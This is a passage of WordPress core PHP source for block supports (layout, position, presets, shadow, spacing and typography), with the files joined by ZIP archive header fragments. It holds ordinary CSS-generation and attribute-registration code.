unique ID based on all the data required to obtain the * corresponding layout style. Keeps the CSS class names the same * even for different blocks on different places, as long as they have * the same layout definition. Makes the CSS class names stable across * paginations for features like the enhanced pagination of the Query block. */ $container_class = wp_unique_id_from_values( array( $used_layout, $has_block_gap_support, $gap_value, $should_skip_gap_serialization, $fallback_gap_value, $block_spacing, ), 'wp-container-' . sanitize_title( $block['blockName'] ) . '-is-layout-' ); $style = wp_get_layout_style( ".$container_class", $used_layout, $has_block_gap_support, $gap_value, $should_skip_gap_serialization, $fallback_gap_value, $block_spacing ); // Only add container class and enqueue block support styles if unique styles were generated. if ( ! empty( $style ) ) { $class_names[] = $container_class; } } // Add combined layout and block classname for global styles to hook onto. $split_block_name = explode( '/', $block['blockName'] ); $full_block_name = 'core' === $split_block_name[0] ? end( $split_block_name ) : implode( '-', $split_block_name ); $class_names[] = 'wp-block-' . $full_block_name . '-' . $layout_classname; // Add classes to the outermost HTML tag if necessary. if ( ! empty( $outer_class_names ) ) { foreach ( $outer_class_names as $outer_class_name ) { $processor->add_class( $outer_class_name ); } } /** * Attempts to refer to the inner-block wrapping element by its class attribute. * * When examining a block's inner content, if a block has inner blocks, then * the first content item will likely be a text (HTML) chunk immediately * preceding the inner blocks. The last HTML tag in that chunk would then be * an opening tag for an element that wraps the inner blocks. * * There's no reliable way to associate this wrapper in $block_content because * it may have changed during the rendering pipeline (as inner contents is * provided before rendering) and through previous filters. In many cases, * however, the `class` attribute will be a good-enough identifier, so this * code finds the last tag in that chunk and stores the `class` attribute * so that it can be used later when working through the rendered block output * to identify the wrapping element and add the remaining class names to it. * * It's also possible that no inner block wrapper even exists. If that's the * case this code could apply the class names to an invalid element. * * Example: * * $block['innerBlocks'] = array( $list_item ); * $block['innerContent'] = array( '<ul class="list-wrapper is-unordered">', null, '</ul>' ); * * // After rendering, the initial contents may have been modified by other renderers or filters. * $block_content = <<<HTML * <figure> * <ul class="annotated-list list-wrapper is-unordered"> * <li>Code</li> * </ul><figcaption>It's a list!</figcaption> * </figure> * HTML; * * Although it is possible that the original block-wrapper classes are changed in $block_content * from how they appear in $block['innerContent'], it's likely that the original class attributes * are still present in the wrapper as they are in this example. Frequently, additional classes * will also be present; rarely should classes be removed. * * @todo Find a better way to match the first inner block. If it's possible to identify where the * first inner block starts, then it will be possible to find the last tag before it starts * and then that tag, if an opening tag, can be solidly identified as a wrapping element. * Can some unique value or class or ID be added to the inner blocks when they process * so that they can be extracted here safely without guessing? Can the block rendering function * return information about where the rendered inner blocks start? * * @var string|null */ $inner_block_wrapper_classes = null; $first_chunk = $block['innerContent'][0] ?? null; if ( is_string( $first_chunk ) && count( $block['innerContent'] ) > 1 ) { $first_chunk_processor = new WP_HTML_Tag_Processor( $first_chunk ); while ( $first_chunk_processor->next_tag() ) { $class_attribute = $first_chunk_processor->get_attribute( 'class' ); if ( is_string( $class_attribute ) && ! empty( $class_attribute ) ) { $inner_block_wrapper_classes = $class_attribute; } } } /* * If necessary, advance to what is likely to be an inner block wrapper tag. * * This advances until it finds the first tag containing the original class * attribute from above. If none is found it will scan to the end of the block * and fail to add any class names. * * If there is no block wrapper it won't advance at all, in which case the * class names will be added to the first and outermost tag of the block. * For cases where this outermost tag is the only tag surrounding inner * blocks then the outer wrapper and inner wrapper are the same. */ do { if ( ! $inner_block_wrapper_classes ) { break; } $class_attribute = $processor->get_attribute( 'class' ); if ( is_string( $class_attribute ) && str_contains( $class_attribute, $inner_block_wrapper_classes ) ) { break; } } while ( $processor->next_tag() ); // Add the remaining class names. foreach ( $class_names as $class_name ) { $processor->add_class( $class_name ); } return $processor->get_updated_html(); } /** * Check if the parent block exists and if it has a layout attribute. * If it does, add the parent layout to the parsed block * * @since 6.6.0 * @access private * * @param array $parsed_block The parsed block. * @param array $source_block The source block. * @param WP_Block $parent_block The parent block. * @return array The parsed block with parent layout attribute if it exists. */ function wp_add_parent_layout_to_parsed_block( $parsed_block, $source_block, $parent_block ) { if ( $parent_block && isset( $parent_block->parsed_block['attrs']['layout'] ) ) { $parsed_block['parentLayout'] = $parent_block->parsed_block['attrs']['layout']; } return $parsed_block; } add_filter( 'render_block_data', 'wp_add_parent_layout_to_parsed_block', 10, 3 ); // Register the block support. WP_Block_Supports::get_instance()->register( 'layout', array( 'register_attribute' => 'wp_register_layout_support', ) ); add_filter( 'render_block', 'wp_render_layout_support_flag', 10, 2 ); /** * For themes without theme.json file, make sure * to restore the inner div for the group block * to avoid breaking styles relying on that div. * * @since 5.8.0 * @since 6.6.1 Removed inner container from Grid variations. * @access private * * @param string $block_content Rendered block content. * @param array $block Block object. * @return string Filtered block content. */ function wp_restore_group_inner_container( $block_content, $block ) { $tag_name = $block['attrs']['tagName'] ?? 'div'; $group_with_inner_container_regex = sprintf( '/(^\s*<%1$s\b[^>]*wp-block-group(\s|")[^>]*>)(\s*<div\b[^>]*wp-block-group__inner-container(\s|")[^>]*>)((.|\S|\s)*)/U', preg_quote( $tag_name, '/' ) ); if ( wp_theme_has_theme_json() || 1 === preg_match( $group_with_inner_container_regex, $block_content ) || ( isset( $block['attrs']['layout']['type'] ) && ( 'flex' === $block['attrs']['layout']['type'] || 'grid' === $block['attrs']['layout']['type'] ) ) ) { return $block_content; } /* * This filter runs after the layout classnames have been added to the block, so they * have to be removed from the outer wrapper and then added to the inner. */ $layout_classes = array(); $processor = new WP_HTML_Tag_Processor( $block_content ); if ( $processor->next_tag( array( 'class_name' => 'wp-block-group' ) ) ) { foreach ( $processor->class_list() as $class_name ) { if ( str_contains( $class_name, 'is-layout-' ) ) { $layout_classes[] = $class_name; $processor->remove_class( $class_name ); } } } $content_without_layout_classes = $processor->get_updated_html(); $replace_regex = sprintf( '/(^\s*<%1$s\b[^>]*wp-block-group[^>]*>)(.*)(<\/%1$s>\s*$)/ms', preg_quote( $tag_name, '/' ) ); $updated_content = preg_replace_callback( $replace_regex, static function ( $matches ) { return $matches[1] . '<div class="wp-block-group__inner-container">' . $matches[2] . '</div>' . $matches[3]; }, $content_without_layout_classes ); // Add layout classes to inner wrapper. if ( ! empty( $layout_classes ) ) { $processor = new WP_HTML_Tag_Processor( $updated_content ); if ( $processor->next_tag( array( 'class_name' => 'wp-block-group__inner-container' ) ) ) { foreach ( $layout_classes as $class_name ) { $processor->add_class( $class_name ); } } $updated_content = $processor->get_updated_html(); } return $updated_content; } add_filter( 'render_block_core/group', 'wp_restore_group_inner_container', 10, 2 ); /** * For themes without theme.json file, make sure * to restore the outer div for the aligned image block * to avoid breaking styles relying on that div. * * @since 6.0.0 * @access private * * @param string $block_content Rendered block content. * @param array $block Block object. * @return string Filtered block content. */ function wp_restore_image_outer_container( $block_content, $block ) { if ( wp_theme_has_theme_json() ) { return $block_content; } $figure_processor = new WP_HTML_Tag_Processor( $block_content ); if ( ! $figure_processor->next_tag( 'FIGURE' ) || ! $figure_processor->has_class( 'wp-block-image' ) || ! ( $figure_processor->has_class( 'alignleft' ) || $figure_processor->has_class( 'aligncenter' ) || $figure_processor->has_class( 'alignright' ) ) ) { return $block_content; } /* * The next section of code wraps the existing figure in a new DIV element. * While doing it, it needs to transfer the layout and the additional CSS * class names from the original figure upward to the wrapper. * * Example: * * // From this… * <!-- wp:image {"className":"hires"} --> * <figure class="wp-block-image wide hires">… * * // To this… * <div class="wp-block-image hires"><figure class="wide">… */ $wrapper_processor = new WP_HTML_Tag_Processor( '<div>' ); $wrapper_processor->next_token(); $wrapper_processor->set_attribute( 'class', is_string( $block['attrs']['className'] ?? null ) ? "wp-block-image {$block['attrs']['className']}" : 'wp-block-image' ); // And remove them from the existing content; it has been transferred upward. $figure_processor->remove_class( 'wp-block-image' ); foreach ( $wrapper_processor->class_list() as $class_name ) { $figure_processor->remove_class( $class_name ); } return "{$wrapper_processor->get_updated_html()}{$figure_processor->get_updated_html()}</div>"; } add_filter( 'render_block_core/image', 'wp_restore_image_outer_container', 10, 2 ); PK @�\M��3 position.phpnu ȯ�� <?php /** * Position block support flag. * * @package WordPress * @since 6.2.0 */ /** * Registers the style block attribute for block types that support it. * * @since 6.2.0 * @access private * * @param WP_Block_Type $block_type Block Type. */ function wp_register_position_support( $block_type ) { $has_position_support = block_has_support( $block_type, 'position', false ); // Set up attributes and styles within that if needed. if ( ! $block_type->attributes ) { $block_type->attributes = array(); } if ( $has_position_support && ! array_key_exists( 'style', $block_type->attributes ) ) { $block_type->attributes['style'] = array( 'type' => 'object', ); } } /** * Renders position styles to the block wrapper. * * @since 6.2.0 * @access private * * @param string $block_content Rendered block content. * @param array $block Block object. * @return string Filtered block content. */ function wp_render_position_support( $block_content, $block ) { $block_type = WP_Block_Type_Registry::get_instance()->get_registered( $block['blockName'] ); $has_position_support = block_has_support( $block_type, 'position', false ); if ( ! $has_position_support || empty( $block['attrs']['style']['position'] ) ) { return $block_content; } $global_settings = wp_get_global_settings(); $theme_has_sticky_support = $global_settings['position']['sticky'] ?? false; $theme_has_fixed_support = $global_settings['position']['fixed'] ?? false; // Only allow output for position types that the theme supports. $allowed_position_types = array(); if ( true === $theme_has_sticky_support ) { $allowed_position_types[] = 'sticky'; } if ( true === $theme_has_fixed_support ) { $allowed_position_types[] = 'fixed'; } $style_attribute = $block['attrs']['style'] ?? null; $class_name = wp_unique_id( 'wp-container-' ); $selector = ".$class_name"; $position_styles = array(); $position_type = $style_attribute['position']['type'] ?? ''; $wrapper_classes = array(); if ( in_array( $position_type, $allowed_position_types, true ) ) { $wrapper_classes[] = $class_name; $wrapper_classes[] = 'is-position-' . $position_type; $sides = array( 'top', 'right', 'bottom', 'left' ); foreach ( $sides as $side ) { $side_value = $style_attribute['position'][ $side ] ?? null; if ( null !== $side_value ) { /* * For fixed or sticky top positions, * ensure the value includes an offset for the logged in admin bar. */ if ( 'top' === $side && ( 'fixed' === $position_type || 'sticky' === $position_type ) ) { // Ensure 0 values can be used in `calc()` calculations. if ( '0' === $side_value || 0 === $side_value ) { $side_value = '0px'; } // Ensure current side value also factors in the height of the logged in admin bar. $side_value = "calc($side_value + var(--wp-admin--admin-bar--position-offset, 0px))"; } $position_styles[] = array( 'selector' => $selector, 'declarations' => array( $side => $side_value, ), ); } } $position_styles[] = array( 'selector' => $selector, 'declarations' => array( 'position' => $position_type, 'z-index' => '10', ), ); } if ( ! empty( $position_styles ) ) { /* * Add to the style engine store to enqueue and render position styles. */ wp_style_engine_get_stylesheet_from_css_rules( $position_styles, array( 'context' => 'block-supports', 'prettify' => false, ) ); // Inject class name to block container markup. $content = new WP_HTML_Tag_Processor( $block_content ); $content->next_tag(); foreach ( $wrapper_classes as $class ) { $content->add_class( $class ); } return (string) $content; } return $block_content; } // Register the block support. WP_Block_Supports::get_instance()->register( 'position', array( 'register_attribute' => 'wp_register_position_support', ) ); add_filter( 'render_block', 'wp_render_position_support', 10, 2 ); PK @�\�1�� � settings.phpnu ȯ�� <?php /** * Block level presets support. * * @package WordPress * @since 6.2.0 */ /** * Get the class name used on block level presets. * * @internal * * @since 6.2.0 * @access private * * @param array $block Block object. * @return string The unique class name. */ function _wp_get_presets_class_name( $block ) { return 'wp-settings-' . md5( serialize( $block ) ); } /** * Update the block content with block level presets class name. * * @internal * * @since 6.2.0 * @access private * * @param string $block_content Rendered block content. * @param array $block Block object. * @return string Filtered block content. */ function _wp_add_block_level_presets_class( $block_content, $block ) { if ( ! $block_content ) { return $block_content; } // return early if the block doesn't have support for settings. $block_type = WP_Block_Type_Registry::get_instance()->get_registered( $block['blockName'] ); if ( ! block_has_support( $block_type, '__experimentalSettings', false ) ) { return $block_content; } // return early if no settings are found on the block attributes. $block_settings = $block['attrs']['settings'] ?? null; if ( empty( $block_settings ) ) { return $block_content; } // Like the layout hook this assumes the hook only applies to blocks with a single wrapper. // Add the class name to the first element, presuming it's the wrapper, if it exists. $tags = new WP_HTML_Tag_Processor( $block_content ); if ( $tags->next_tag() ) { $tags->add_class( _wp_get_presets_class_name( $block ) ); } return $tags->get_updated_html(); } /** * Render the block level presets stylesheet. * * @internal * * @since 6.2.0 * @since 6.3.0 Updated preset styles to use Selectors API. * @access private * * @param string|null $pre_render The pre-rendered content. Default null. * @param array $block The block being rendered. * * @return null */ function _wp_add_block_level_preset_styles( $pre_render, $block ) { // Return early if the block has not support for descendent block styles. $block_type = WP_Block_Type_Registry::get_instance()->get_registered( $block['blockName'] ); if ( ! block_has_support( $block_type, '__experimentalSettings', false ) ) { return null; } // return early if no settings are found on the block attributes. $block_settings = $block['attrs']['settings'] ?? null; if ( empty( $block_settings ) ) { return null; } $class_name = '.' . _wp_get_presets_class_name( $block ); // the root selector for preset variables needs to target every possible block selector // in order for the general setting to override any bock specific setting of a parent block or // the site root. $variables_root_selector = '*,[class*="wp-block"]'; $registry = WP_Block_Type_Registry::get_instance(); $blocks = $registry->get_all_registered(); foreach ( $blocks as $block_type ) { /* * We only want to append selectors for blocks using custom selectors * i.e. not `wp-block-<name>`. */ $has_custom_selector = ( isset( $block_type->supports['__experimentalSelector'] ) && is_string( $block_type->supports['__experimentalSelector'] ) ) || ( isset( $block_type->selectors['root'] ) && is_string( $block_type->selectors['root'] ) ); if ( $has_custom_selector ) { $variables_root_selector .= ',' . wp_get_block_css_selector( $block_type ); } } $variables_root_selector = WP_Theme_JSON::scope_selector( $class_name, $variables_root_selector ); // Remove any potentially unsafe styles. $theme_json_shape = WP_Theme_JSON::remove_insecure_properties( array( 'version' => WP_Theme_JSON::LATEST_SCHEMA, 'settings' => $block_settings, ) ); $theme_json_object = new WP_Theme_JSON( $theme_json_shape ); $styles = ''; // include preset css variables declaration on the stylesheet. $styles .= $theme_json_object->get_stylesheet( array( 'variables' ), null, array( 'root_selector' => $variables_root_selector, 'scope' => $class_name, ) ); // include preset css classes on the the stylesheet. $styles .= $theme_json_object->get_stylesheet( array( 'presets' ), null, array( 'root_selector' => $class_name . ',' . $class_name . ' *', 'scope' => $class_name, ) ); if ( ! empty( $styles ) ) { wp_enqueue_block_support_styles( $styles ); } return null; } add_filter( 'render_block', '_wp_add_block_level_presets_class', 10, 2 ); add_filter( 'pre_render_block', '_wp_add_block_level_preset_styles', 10, 2 ); PK @�\#_�- - shadow.phpnu �[��� <?php /** * Shadow block support flag. * * @package WordPress * @since 6.3.0 */ /** * Registers the style and shadow block attributes for block types that support it. * * @since 6.3.0 * @access private * * @param WP_Block_Type $block_type Block Type. */ function wp_register_shadow_support( $block_type ) { $has_shadow_support = block_has_support( $block_type, 'shadow', false ); if ( ! $has_shadow_support ) { return; } if ( ! $block_type->attributes ) { $block_type->attributes = array(); } if ( array_key_exists( 'style', $block_type->attributes ) ) { $block_type->attributes['style'] = array( 'type' => 'object', ); } if ( array_key_exists( 'shadow', $block_type->attributes ) ) { $block_type->attributes['shadow'] = array( 'type' => 'string', ); } } /** * Add CSS classes and inline styles for shadow features to the incoming attributes array. * This will be applied to the block markup in the front-end. * * @since 6.3.0 * @since 6.6.0 Return early if __experimentalSkipSerialization is true. * @access private * * @param WP_Block_Type $block_type Block type. * @param array $block_attributes Block attributes. * @return array Shadow CSS classes and inline styles. */ function wp_apply_shadow_support( $block_type, $block_attributes ) { $has_shadow_support = block_has_support( $block_type, 'shadow', false ); if ( ! $has_shadow_support || wp_should_skip_block_supports_serialization( $block_type, 'shadow' ) ) { return array(); } $shadow_block_styles = array(); $custom_shadow = $block_attributes['style']['shadow'] ?? null; $shadow_block_styles['shadow'] = $custom_shadow; $attributes = array(); $styles = wp_style_engine_get_styles( $shadow_block_styles ); if ( ! empty( $styles['css'] ) ) { $attributes['style'] = $styles['css']; } return $attributes; } // Register the block support. WP_Block_Supports::get_instance()->register( 'shadow', array( 'register_attribute' => 'wp_register_shadow_support', 'apply' => 'wp_apply_shadow_support', ) ); PK @�\�L�� � spacing.phpnu ȯ�� <?php /** * Spacing block support flag. * * For backwards compatibility, this remains separate to the dimensions.php * block support despite both belonging under a single panel in the editor. * * @package WordPress * @since 5.8.0 */ /** * Registers the style block attribute for block types that support it. * * @since 5.8.0 * @access private * * @param WP_Block_Type $block_type Block Type. */ function wp_register_spacing_support( $block_type ) { $has_spacing_support = block_has_support( $block_type, 'spacing', false ); // Setup attributes and styles within that if needed. if ( ! $block_type->attributes ) { $block_type->attributes = array(); } if ( $has_spacing_support && ! array_key_exists( 'style', $block_type->attributes ) ) { $block_type->attributes['style'] = array( 'type' => 'object', ); } } /** * Adds CSS classes for block spacing to the incoming attributes array. * This will be applied to the block markup in the front-end. * * @since 5.8.0 * @since 6.1.0 Implemented the style engine to generate CSS and classnames. * @access private * * @param WP_Block_Type $block_type Block Type. * @param array $block_attributes Block attributes. * @return array Block spacing CSS classes and inline styles. */ function wp_apply_spacing_support( $block_type, $block_attributes ) { if ( wp_should_skip_block_supports_serialization( $block_type, 'spacing' ) ) { return array(); } $attributes = array(); $has_padding_support = block_has_support( $block_type, array( 'spacing', 'padding' ), false ); $has_margin_support = block_has_support( $block_type, array( 'spacing', 'margin' ), false ); $block_styles = $block_attributes['style'] ?? null; if ( ! $block_styles ) { return $attributes; } $skip_padding = wp_should_skip_block_supports_serialization( $block_type, 'spacing', 'padding' ); $skip_margin = wp_should_skip_block_supports_serialization( $block_type, 'spacing', 'margin' ); $spacing_block_styles = array( 'padding' => null, 'margin' => null, ); if ( $has_padding_support && ! $skip_padding ) { $spacing_block_styles['padding'] = $block_styles['spacing']['padding'] ?? null; } if ( $has_margin_support && ! $skip_margin ) { $spacing_block_styles['margin'] = $block_styles['spacing']['margin'] ?? null; } $styles = wp_style_engine_get_styles( array( 'spacing' => $spacing_block_styles ) ); if ( ! empty( $styles['css'] ) ) { $attributes['style'] = $styles['css']; } return $attributes; } // Register the block support. WP_Block_Supports::get_instance()->register( 'spacing', array( 'register_attribute' => 'wp_register_spacing_support', 'apply' => 'wp_apply_spacing_support', ) ); PK @�\�9��n �n typography.phpnu ȯ�� <?php /** * Typography block support flag. * * @package WordPress * @since 5.6.0 */ /** * Registers the style and typography block attributes for block types that support it. * * @since 5.6.0 * @since 6.3.0 Added support for text-columns. * @since 7.0.0 Added support for text-indent. * @access private * * @param WP_Block_Type $block_type Block Type. */ function wp_register_typography_support( $block_type ) { if ( ! ( $block_type instanceof WP_Block_Type ) ) { return; } $typography_supports = $block_type->supports['typography'] ?? false; if ( ! $typography_supports ) { return; } $has_font_family_support = $typography_supports['__experimentalFontFamily'] ?? false; $has_font_size_support = $typography_supports['fontSize'] ?? false; $has_font_style_support = $typography_supports['__experimentalFontStyle'] ?? false; $has_font_weight_support = $typography_supports['__experimentalFontWeight'] ?? false; $has_letter_spacing_support = $typography_supports['__experimentalLetterSpacing'] ?? false; $has_line_height_support = $typography_supports['lineHeight'] ?? false; $has_text_align_support = $typography_supports['textAlign'] ?? false; $has_text_columns_support = $typography_supports['textColumns'] ?? false; $has_text_decoration_support = $typography_supports['__experimentalTextDecoration'] ?? false; $has_text_transform_support = $typography_supports['__experimentalTextTransform'] ?? false; $has_text_indent_support = $typography_supports['textIndent'] ?? false; $has_writing_mode_support = $typography_supports['__experimentalWritingMode'] ?? false; $has_typography_support = $has_font_family_support || $has_font_size_support || $has_font_style_support || $has_font_weight_support || $has_letter_spacing_support || $has_line_height_support || $has_text_align_support || $has_text_columns_support || $has_text_decoration_support || $has_text_transform_support || $has_text_indent_support || $has_writing_mode_support; if ( ! $block_type->attributes ) { $block_type->attributes = array(); } if ( $has_typography_support && ! array_key_exists( 'style', $block_type->attributes ) ) { $block_type->attributes['style'] = array( 'type' => 'object', ); } if ( $has_font_size_support && ! array_key_exists( 'fontSize', $block_type->attributes ) ) { $block_type->attributes['fontSize'] = array( 'type' => 'string', ); } if ( $has_font_family_support && ! array_key_exists( 'fontFamily', $block_type->attributes ) ) { $block_type->attributes['fontFamily'] = array( 'type' => 'string', ); } } /** * Adds CSS classes and inline styles for typography features such as font sizes * to the incoming attributes array. This will be applied to the block markup in * the front-end. * * @since 5.6.0 * @since 6.1.0 Used the style engine to generate CSS and classnames. * @since 6.3.0 Added support for text-columns. * @since 7.0.0 Added support for text-indent. * @access private * * @param WP_Block_Type $block_type Block type. * @param array $block_attributes Block attributes. * @return array Typography CSS classes and inline styles. */ function wp_apply_typography_support( $block_type, $block_attributes ) { if ( ! ( $block_type instanceof WP_Block_Type ) ) { return array(); } $typography_supports = $block_type->supports['typography'] ?? false; if ( ! $typography_supports ) { return array(); } if ( wp_should_skip_block_supports_serialization( $block_type, 'typography' ) ) { return array(); } $has_font_family_support = $typography_supports['__experimentalFontFamily'] ?? false; $has_font_size_support = $typography_supports['fontSize'] ?? false; $has_font_style_support = $typography_supports['__experimentalFontStyle'] ?? false; $has_font_weight_support = $typography_supports['__experimentalFontWeight'] ?? false; $has_letter_spacing_support = $typography_supports['__experimentalLetterSpacing'] ?? false; $has_line_height_support = $typography_supports['lineHeight'] ?? false; $has_text_align_support = $typography_supports['textAlign'] ?? false; $has_text_columns_support = $typography_supports['textColumns'] ?? false; $has_text_decoration_support = $typography_supports['__experimentalTextDecoration'] ?? false; $has_text_transform_support = $typography_supports['__experimentalTextTransform'] ?? false; $has_text_indent_support = $typography_supports['textIndent'] ?? false; $has_writing_mode_support = $typography_supports['__experimentalWritingMode'] ?? false; // Whether to skip individual block support features. $should_skip_font_size = wp_should_skip_block_supports_serialization( $block_type, 'typography', 'fontSize' ); $should_skip_font_family = wp_should_skip_block_supports_serialization( $block_type, 'typography', 'fontFamily' ); $should_skip_font_style = wp_should_skip_block_supports_serialization( $block_type, 'typography', 'fontStyle' ); $should_skip_font_weight = wp_should_skip_block_supports_serialization( $block_type, 'typography', 'fontWeight' ); $should_skip_line_height = wp_should_skip_block_supports_serialization( $block_type, 'typography', 'lineHeight' ); $should_skip_text_align = wp_should_skip_block_supports_serialization( $block_type, 'typography', 'textAlign' ); $should_skip_text_columns = wp_should_skip_block_supports_serialization( $block_type, 'typography', 'textColumns' ); $should_skip_text_decoration = wp_should_skip_block_supports_serialization( $block_type, 'typography', 'textDecoration' ); $should_skip_text_transform = wp_should_skip_block_supports_serialization( $block_type, 'typography', 'textTransform' ); $should_skip_letter_spacing = wp_should_skip_block_supports_serialization( $block_type, 'typography', 'letterSpacing' ); $should_skip_text_indent = wp_should_skip_block_supports_serialization( $block_type, 'typography', 'textIndent' ); $should_skip_writing_mode = wp_should_skip_block_supports_serialization( $block_type, 'typography', 'writingMode' ); $typography_block_styles = array(); if ( $has_font_size_support && ! $should_skip_font_size ) { $preset_font_size = array_key_exists( 'fontSize', $block_attributes ) ? "var:preset|font-size|{$block_attributes['fontSize']}" : null; $custom_font_size = $block_attributes['style']['typography']['fontSize'] ?? null; $typography_block_styles['fontSize'] = $preset_font_size ? $preset_font_size : wp_get_typography_font_size_value( array( 'size' => $custom_font_size, ) ); } if ( $has_font_family_support && ! $should_skip_font_family ) { $preset_font_family = array_key_exists( 'fontFamily', $block_attributes ) ? "var:preset|font-family|{$block_attributes['fontFamily']}" : null; $custom_font_family = isset( $block_attributes['style']['typography']['fontFamily'] ) ? wp_typography_get_preset_inline_style_value( $block_attributes['style']['typography']['fontFamily'], 'font-family' ) : null; $typography_block_styles['fontFamily'] = $preset_font_family ? $preset_font_family : $custom_font_family; } if ( $has_font_style_support && ! $should_skip_font_style && isset( $block_attributes['style']['typography']['fontStyle'] ) ) { $typography_block_styles['fontStyle'] = wp_typography_get_preset_inline_style_value( $block_attributes['style']['typography']['fontStyle'], 'font-style' ); } if ( $has_font_weight_support && ! $should_skip_font_weight && isset( $block_attributes['style']['typography']['fontWeight'] ) ) { $typography_block_styles['fontWeight'] = wp_typography_get_preset_inline_style_value( $block_attributes['style']['typography']['fontWeight'], 'font-weight' ); } if ( $has_line_height_support && ! $should_skip_line_height ) { $typography_block_styles['lineHeight'] = $block_attributes['style']['typography']['lineHeight'] ?? null; } if ( $has_text_align_support && ! $should_skip_text_align ) { $typography_block_styles['textAlign'] = $block_attributes['style']['typography']['textAlign'] ?? null; } if ( $has_text_columns_support && ! $should_skip_text_columns && isset( $block_attributes['style']['typography']['textColumns'] ) ) { $typography_block_styles['textColumns'] = $block_attributes['style']['typography']['textColumns'] ?? null; } if ( $has_text_decoration_support && ! $should_skip_text_decoration && isset( $block_attributes['style']['typography']['textDecoration'] ) ) { $typography_block_styles['textDecoration'] = wp_typography_get_preset_inline_style_value( $block_attributes['style']['typography']['textDecoration'], 'text-decoration' ); } if ( $has_text_transform_support && ! $should_skip_text_transform && isset( $block_attributes['style']['typography']['textTransform'] ) ) { $typography_block_styles['textTransform'] = wp_typography_get_preset_inline_style_value( $block_attributes['style']['typography']['textTransform'], 'text-transform' ); } if ( $has_letter_spacing_support && ! $should_skip_letter_spacing && isset( $block_attributes['style']['typography']['letterSpacing'] ) ) { $typography_block_styles['letterSpacing'] = wp_typography_get_preset_inline_style_value( $block_attributes['style']['typography']['letterSpacing'], 'letter-spacing' ); } if ( $has_writing_mode_support && ! $should_skip_writing_mode && isset( $block_attributes['style']['typography']['writingMode'] ) ) { $typography_block_styles['writingMode'] = $block_attributes['style']['typography']['writingMode'] ?? null; } if ( $has_text_indent_support && ! $should_skip_text_indent && isset( $block_attributes['style']['typography']['textIndent'] ) ) { $typography_block_styles['textIndent'] = $block_attributes['style']['typography']['textIndent'] ?? null; } $attributes = array(); $classnames = array(); $styles = wp_style_engine_get_styles( array( 'typography' => $typography_block_styles ), array( 'convert_vars_to_classnames' => true ) ); if ( ! empty( $styles['classnames'] ) ) { $classnames[] = $styles['classnames']; } if ( $has_text_align_support && ! $should_skip_text_align && isset( $block_attributes['style']['typography']['textAlign'] ) ) { $classnames[] = 'has-text-align-' . $block_attributes['style']['typography']['textAlign']; } if ( ! empty( $classnames ) ) { $attributes['class'] = implode( ' ', $classnames ); } if ( ! empty( $styles['css'] ) ) { $attributes['style'] = $styles['css']; } return $attributes; } /** * Generates an inline style value for a typography feature e.g. text decoration, * text transform, and font style. * * Note: This function is for backwards compatibility. * * It is necessary to parse older blocks whose typography styles contain presets. * * It mostly replaces the deprecated `wp_typography_get_css_variable_inline_style()`, * but skips compiling a CSS declaration as the style engine takes over this role. * @link https://github.com/wordpress/gutenberg/pull/27555 * * @since 6.1.0 * * @param string $style_value A raw style value for a single typography feature from a block's style attribute. * @param string $css_property Slug for the CSS property the inline style sets. * @return string A CSS inline style value. */ function wp_typography_get_preset_inline_style_value( $style_value, $css_property ) { // If the style value is not a preset CSS variable go no further. if ( empty( $style_value ) || ! str_contains( $style_value, "var:preset|{$css_property}|" ) ) { return $style_value; } /* * For backwards compatibility. * Presets were removed in WordPress/gutenberg#27555. * A preset CSS variable is the style. * Gets the style value from the string and return CSS style. */ $index_to_splice = strrpos( $style_value, '|' ) + 1; $slug = _wp_to_kebab_case( substr( $style_value, $index_to_splice ) ); // Return the actual CSS inline style value, // e.g. `var(--wp--preset--text-decoration--underline);`. return sprintf( 'var(--wp--preset--%s--%s);', $css_property, $slug ); } /** * Renders typography styles/content to the block wrapper. * * @since 6.1.0 * * @param string $block_content Rendered block content. * @param array $block Block object. * @return string Filtered block content. */ function wp_render_typography_support( $block_content, $block ) { if ( ! empty( $block['attrs']['fitText'] ) && $block['attrs']['fitText'] && ! is_admin() ) { wp_enqueue_script_module( '@wordpress/block-editor/utils/fit-text-frontend' ); // Add Interactivity API directives for fit text to work with client-side navigation. if ( ! empty( $block_content ) ) { $processor = new WP_HTML_Tag_Processor( $block_content ); if ( $processor->next_tag() ) { if ( ! $processor->get_attribute( 'data-wp-interactive' ) ) { $processor->set_attribute( 'data-wp-interactive', true ); } $processor->set_attribute( 'data-wp-context---core-fit-text', 'core/fit-text::{"fontSize":""}' ); $processor->set_attribute( 'data-wp-init---core-fit-text', 'core/fit-text::callbacks.init' ); $processor->set_attribute( 'data-wp-style--font-size', 'core/fit-text::context.fontSize' ); $block_content = $processor->get_updated_html(); } } // fitText supersedes any other typography features return $block_content; } if ( ! isset( $block['attrs']['style']['typography']['fontSize'] ) ) { return $block_content; } $custom_font_size = $block['attrs']['style']['typography']['fontSize']; $fluid_font_size = wp_get_typography_font_size_value( array( 'size' => $custom_font_size ) ); /* * Checks that $fluid_font_size does not match $custom_font_size, * which means it's been mutated by the fluid font size functions. */ if ( ! empty( $fluid_font_size ) && $fluid_font_size !== $custom_font_size ) { // Replaces the first instance of `font-size:$custom_font_size` with `font-size:$fluid_font_size`. return preg_replace( '/font-size\s*:\s*' . preg_quote( $custom_font_size, '/' ) . '\s*;?/', 'font-size:' . esc_attr( $fluid_font_size ) . ';', $block_content, 1 ); } return $block_content; } /** * Checks a string for a unit and value and returns an array * consisting of `'value'` and `'unit'`, e.g. array( '42', 'rem' ). * * @since 6.1.0 * * @param string|int|float $raw_value Raw size value from theme.json. * @param array $options { * Optional. An associative array of options. Default is empty array. * * @type string $coerce_to Coerce the value to rem or px. Default `'rem'`. * @type int $root_size_value Value of root font size for rem|em <-> px conversion. Default `16`. * @type string[] $acceptable_units An array of font size units. Default `array( 'rem', 'px', 'em' )`; * } * @return array|null An array consisting of `'value'` and `'unit'` properties on success. * `null` on failure. */ function wp_get_typography_value_and_unit( $raw_value, $options = array() ) { if ( ! is_string( $raw_value ) && ! is_int( $raw_value ) && ! is_float( $raw_value ) ) { _doing_it_wrong( __FUNCTION__, __( 'Raw size value must be a string, integer, or float.' ), '6.1.0' ); return null; } if ( empty( $raw_value ) ) { return null; } // Converts numbers to pixel values by default. if ( is_numeric( $raw_value ) ) { $raw_value = $raw_value . 'px'; } $defaults = array( 'coerce_to' => '', 'root_size_value' => 16, 'acceptable_units' => array( 'rem', 'px', 'em' ), ); $options = wp_parse_args( $options, $defaults ); $acceptable_units_group = implode( '|', $options['acceptable_units'] ); $pattern = '/^(\d*\.?\d+)(' . $acceptable_units_group . '){1,1}$/'; preg_match( $pattern, $raw_value, $matches ); // Bails out if not a number 